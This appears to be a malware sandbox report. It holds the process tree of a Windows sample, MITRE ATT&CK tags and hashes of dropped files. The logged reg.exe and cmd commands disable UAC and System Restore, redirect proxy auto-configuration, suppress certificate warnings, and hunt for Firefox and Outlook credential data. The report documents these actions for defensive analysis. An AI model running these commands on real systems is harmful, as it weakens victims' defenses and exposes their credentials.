        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5140,i,10361505251235226350,8754611502348675863,524288 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=4168 /prefetch:14
        5⤵
        
        PID:5164
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3896,i,9628943670322816353,16302738709641477997,524288 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=3912 /prefetch:14
        5⤵
        
        PID:5028
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=5372,i,6719585550447784322,786703850514797346,2097152 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=4168 /prefetch:1
        5⤵
        
        PID:4240
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5864,i,17228254818548528821,14134684117706973992,524288 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=3060 /prefetch:14
        5⤵
        
        PID:3344
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5992,i,9280803522384830806,15645595047710336217,524288 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=6516 /prefetch:14
        5⤵
        
        PID:3520
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6296,i,9180071887843825270,12053603803511783969,524288 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=6140 /prefetch:14
        5⤵
        
        PID:5400
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6412,i,1625833822449291591,14349162934710830054,262144 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=5636 /prefetch:10
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5428
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6452,i,3841748340344911923,11981395233640193748,524288 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=5992 /prefetch:14
        5⤵
        
        PID:4080
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --metrics-shmem-handle=3968,i,3508874276866719695,14685424357596250603,2097152 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=5660 /prefetch:1
        5⤵
        
        PID:4992
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5940,i,2654690713545486492,10090741003378173117,524288 --field-trial-handle=2652,i,7841847989268973555,3919451423684495091,262144 --variations-seed-version --mojo-platform-channel-handle=6332 /prefetch:14
        5⤵
        
        PID:548
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3188
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "file://C:\Users\Admin\AppData\Local\Temp/UMMWTUQB.txt" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1684
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2236
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t reg_dword /d 00000001 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2764
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:292
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t reg_dword /d 00000000 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4692
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4576
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t reg_dword /d 00000000 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4220
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2060
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "AdvancedTab" /t reg_dword /d 00000001 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4536
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "ResetWebSettings" /t reg_dword /d 00000001 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4140
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5032
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "Autoconfig" /t reg_dword /d 00000001 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4836
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5164
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "file://C:\Users\Admin\AppData\Local\Temp/UMMWTUQB.txt" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:796
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3124
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t reg_dword /d 00000001 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3860
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4208
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t reg_dword /d 00000000 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5144
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3380
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t reg_dword /d 00000000 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5400
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2108
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "Autoconfig" /t reg_dword /d 00000001 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1196
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1300
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "AdvancedTab" /t reg_dword /d 00000001 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4908
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1816
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "ResetWebSettings" /t reg_dword /d 00000001 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:420
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1388
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 00000000 /f
    3⤵
    - UAC bypass
    - System Location Discovery: System Language Discovery
    PID:3684
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c dir "\Users\Admin\.." /b /s | find "prefs.js"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1192
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" dir "\Users\Admin\.." /b /s "
      4⤵
      System Location Discovery: System Language Discovery
      PID:556
  - - C:\Windows\SysWOW64\find.exe
      find "prefs.js"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4312
- - C:\Windows\SysWOW64\attrib.exe
    attrib.exe -r "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\1oz9o2w9.default-release\prefs.js "
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:3696
- - C:\Windows\SysWOW64\attrib.exe
    attrib.exe -r "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\1oz9o2w9.default-release\prefs.js "
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:844
- - C:\Windows\SysWOW64\attrib.exe
    attrib.exe +r "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\1oz9o2w9.default-release\prefs.js "
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:5932
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe export HKU C:\Users\Admin\AppData\Local\Temp\~r.tmp
    3⤵
    - Accesses Microsoft Outlook profiles
    - System Location Discovery: System Language Discovery
    - outlook_office_path
    PID:5692
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type C:\Users\Admin\AppData\Local\Temp\~r.tmp "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5220
- - C:\Windows\SysWOW64\find.exe
    C:\Windows\system32\find.exe "Internet Explorer\Main"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:252
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c type C:\Users\Admin\AppData\Local\Temp\~i.tmp | C:\Windows\system32\find.exe "S-1-5-21"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5524
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" type C:\Users\Admin\AppData\Local\Temp\~i.tmp "
      4⤵
      System Location Discovery: System Language Discovery
      PID:428
  - - C:\Windows\SysWOW64\find.exe
      C:\Windows\system32\find.exe "S-1-5-21"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4736
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1844
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKU\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnonBadCertRecving" /t REG_DWORD /d "0x00000000" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3600
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1048
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKU\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnOnIntranet" /t REG_DWORD /d "0x00000000" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2096
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3468
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKU\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap" /v "AutoDetect" /t REG_DWORD /d "0x00000000" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2232
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4292
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 0x00000001 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4184

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2992

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2380

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 68f353a62995fc87917d7d1eef768abe00ffab02e1d3e469100f99b6987f6488
MD5 5ba62d3fe2ddefdf87e8dd139f3e421b
SHA1 1986deda7bda2ac5b490eacb9fe2784fb6d01648
SHA512 4e6a767b24298d2e01c8dbefa41509e1bc67cf2c2f34fd0bf866fc1017e1d15a470a5a95feb8ee1cccf4b8ccf5fa9054bcbb93919c00de89eeffec199b68baf9
TLSH
T19CD02BB5DFFCCC62D54820B802518E116085B41519490040DA03FC04DD110814D03555
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 648887a89dac8888df245d8758dcd78e85ae79931c9464f19b0967fcd69c3d2f
MD5 b053e18c94ac6f6c60a9e0a281e1687b
SHA1 17ed2d8ae6844c2878132336a2fea7d044381f8b
SHA512 abf3d05979a55f573445c0c7a95529a5899c0d9f55f350b3eb35132d8502e23e6c764ffc98e92f4374754aa22e9292fd03f8e6e8113c0e919f428e797e339bfa
TLSH
T151D02BB9DFECCD62D54820B402508E116095B4156D490040D903BC04DD110814D03569
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 df99187cc23377649741e23849ee5ccf4723f69822e76d43275db3febbafe5cf
MD5 9316f5dbe109a50798ca2e95d7c5c912
SHA1 1ae56e85e6915f30d490b002c31ff1f4a9a7e9b8
SHA512 b3e1b8c583ea4301ef80cb419916579a19ee43310346356ee74c9a6993413661a0028f1540d841a24b3ec2f61beac63f53ef3300e31895956ebfa05c399c50f4
TLSH
T1996170E45DE94F45F7184870BED30C8B3F3C46A96B835D56C9A9C938F8427E11B5C08A
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 98a6c8cb53de5565af94157193a354fb971e71c3aa5f625859e4f315690e4e59
MD5 63f8158101627a4c2a124af5ce1c25e4
SHA1 2ed20513f6a7073d92777e5ae902bdf79c08a000
SHA512 77da8f10544516e3fe672bf2bc42fc447b3a8df5a5834263a02793d4ee6c8147d6778e84585e87d55ee88ea52e2e42d7781d96de5e029624222713a241795e26
TLSH
T1F2519DF7C7E8966D890196F4AA187E2BCE2D0914432C3D5AC8E4DF2B93E34B1E14195F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 86108bbdb73a150e9005e980f3779df4779e107117e71499563010f614766732
MD5 ca99dbcb208855966af4b9a5b22e9bd8
SHA1 6a44937656bbb6f44df7ef381023f2e02d3011fa
SHA512 eb86f26599b9a87bc3ebf9277b0250a5b62be7d529eb56fc3f9f5ad676ae5198e77f76f89f407ce4152a185e1e041f00b4ad6ee31cdff5ad8646517eb95aee89
SSDEEP 192:sxRJjR+Cb/fetsquDOZAzoA8pc1/F36+WNIYcpXtiTUGEIgDv0J:sxRlLb/fetsquDo5c/SIJ9iT40
TLSH
T19542C959AD28A97B8CDBD61DBB55BF13E2F8503260D11F48A6FC8A1C14EB6DD520380B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 392b76c4ee467416aeff9c87abb2ccb7cab14fe3817ef019d410f4cb52aa1526
MD5 a95150616db1d557260f375015f14c88
SHA1 40ce1df191a85ae0071dbae4bc762e25dbd96296
SHA512 a097067a123732f73992b0fccbc0e33ee7f5d3726331def780768fc825370e90a04d4d5d97bc6f0e4ac9659ce4f67cdd095d76be64c371b092ff043e817fce5b
SSDEEP 192:sxRKjR+Cb/fetspwOZAzoA8pc1/F36+WNIYcAXtiTUGEIgV0J:sxRCLb/fetspwo5c/yIg9iT4W
TLSH
T18A32B959AD28A97B8CDBD21DBB55BF13E6F8503270D01F58A6FC8A1C14EB6DD520380B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 6f9dcbcf344c87aa8c5a9d2ff710889801e71b5ed8f12a8bc62207973d152c7e
MD5 69165a6d19572c06459226fd5869b770
SHA1 c547f9443b7c42ec9211b13bcfdcad0889f3bd4e
SHA512 ad65fed32f2786bfad88844085d093d46adc40a912c2a40b33e9763c9c0449e43be26c9e34ca1060f10a84127ab637996740e5bdd382b307486913d2237f90e7
SSDEEP 192:sxRJjR+Cb/fetsqwOZAzoA8pc1/Fj6+WNIYcAXtiTUGEIgDV0J:sxRlLb/fetsqwo5c/GIg9iT46
TLSH
T12C42CA59AD28A97B8CDBD21DBB55BF13E6F85032B0D01F58A6FC8A1C14EB6DD520340B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 3967bd8b50739d14824d4443a405e24114baf61963b12d861bde277e3cab1b6b
MD5 4a74d075cf3cb26a4891a16f5d13a190
SHA1 9ca2e349feb8d302cdcab68ed5cc698375f9fd63
SHA512 6aa21af7a4121bc3c2dc1a1a0d74fa111ee75ca7f60b2a873cebdb2c54cbaeae89ff086294cd590d72f3a6cd3957c23ce9ad241ce5e63a9707c5c05c8c39a159
SSDEEP 768:DFakc4yG7pLuLbs5Wg1Bf9t8F1+UoAYDCx9Tuqh0VfUC9xbog/OVhyJ97g4roMCt:DFakc4ymEbs5Wg1Bf9tu1jauyJxgDMCt
TLSH
T162D2EB3B744CCB7F4F804A9DDC197E9B6DA802CB9598C94047FE981D03C6BEA521A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 516a8e931d9ba6eead6fac9dc2b1198972268a126566fb3bab06a876698eb8d8
MD5 269ad3681cdd4646411720a3d4d25143
SHA1 098d72c40312cae1d7b7b162c5460cb460528ab3
SHA512 45d5392d923ab220b2fff7803180b49e19b87b20f5364820c0f8c1905ed411ecb22c0b172ac835e35e7ea9d79531b3580c259fa71c531bc9339eb9b22e7e2297
SSDEEP 48:KM5otJLnzUTHKfIaxUKVR9zURJEoKrpJyDZINprHT0Tnq/IaR0KVx9T0RpkoqL/T:KUO4KL6OSGoKL6AogKN+CG
TLSH
T1D3910350B177165039BE350894E1BBBF224277733025E62B37EA60A25D6AE2C0DFD4ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe5a4c5c.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe5a4c5c.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
